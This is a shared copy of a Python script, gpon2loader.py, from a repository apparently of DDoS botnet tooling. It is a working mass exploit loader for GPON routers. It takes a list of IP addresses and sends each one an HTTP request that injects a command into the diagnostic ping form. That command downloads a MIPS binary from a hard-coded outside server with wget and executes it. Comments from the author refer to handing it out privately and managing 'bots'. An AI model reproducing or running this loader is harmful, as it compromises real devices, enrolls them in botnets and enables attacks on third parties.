Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/GPON/gpon2loader.py
5038 views
1
#!/usr/bin/python
2
3
# gpon exploit loader by nexus zeta ; if ive sent u this dont give this to skids - use your head dont get bots saturated
4
# note to self: reintegrate parallelized thread pool alongside queue / gevent? (maybe)
5
6
import sys, socket, time, os, ssl
7
from Queue import *
8
#from multiprocessing.dummy import Pool as ThreadPool
9
#from multiprocessing import Process
10
from threading import Thread
11
from sys import stdout
12
13
if len(sys.argv) < 2:
14
print "Usage: python "+sys.argv[0]+" <list>"
15
sys.exit()
16
17
port = 443
18
buf = 4096
19
count = 0
20
queue = Queue()
21
post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(busybox+wget+http://46.183.218.243/mips+-O+->+/dev/r;sh+/dev/r)&ipv=0\r\n"
22
headers = "POST /GponForm/diag_Form?style/ HTTP/1.1\r\nHost: 192.168.0.1:443\r\nUser-Agent: curl/7.3.2\r\nAccept: */*\r\nxAccept-Encoding: gzip, deflate\r\nConnection: keep-alive\r\nContent-Type: text/plain\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)
23
#headers = "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 192.168.0.1:443\r\nUser-Agent: curl/7.3.2\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nConnection: keep-alive\r\nContent-Type: text/plain\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)
24
i = 0
25
ips = open(sys.argv[1], "r").readlines()
26
27
def gpwn(host):
28
global i
29
host = host.strip("\n")
30
try:
31
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
32
s = ssl.wrap_socket(sock)
33
s.settimeout(3)
34
s.connect((host, port))
35
s.send(headers)
36
time.sleep(5)
37
print "\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m%s\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]" % (host)
38
resp = s.recv(buf).strip()
39
if "200 OK" in resp:
40
i += 1
41
s.close()
42
except:
43
pass
44
return
45
def load_to_queue():
46
global count
47
for line in ips:
48
count += 1
49
line = line.strip("\r\n")
50
sys.stdout.write("\r[%d] Added to queue" % (count))
51
sys.stdout.flush()
52
queue.put(line)
53
sys.stdout.write("\n")
54
55
def main():
56
load_to_queue()
57
i = 0
58
while i < count:
59
i += 1
60
try:
61
ip = queue.get()
62
f = Thread(target=gpwn, args=(ip,))
63
f.start()
64
queue.task_done()
65
except KeyboardInterrupt:
66
os.kill(os.getpid(),9)
67
except Exception as i:
68
print i
69
pass
70
if __name__ == "__main__":
71
main()
72
73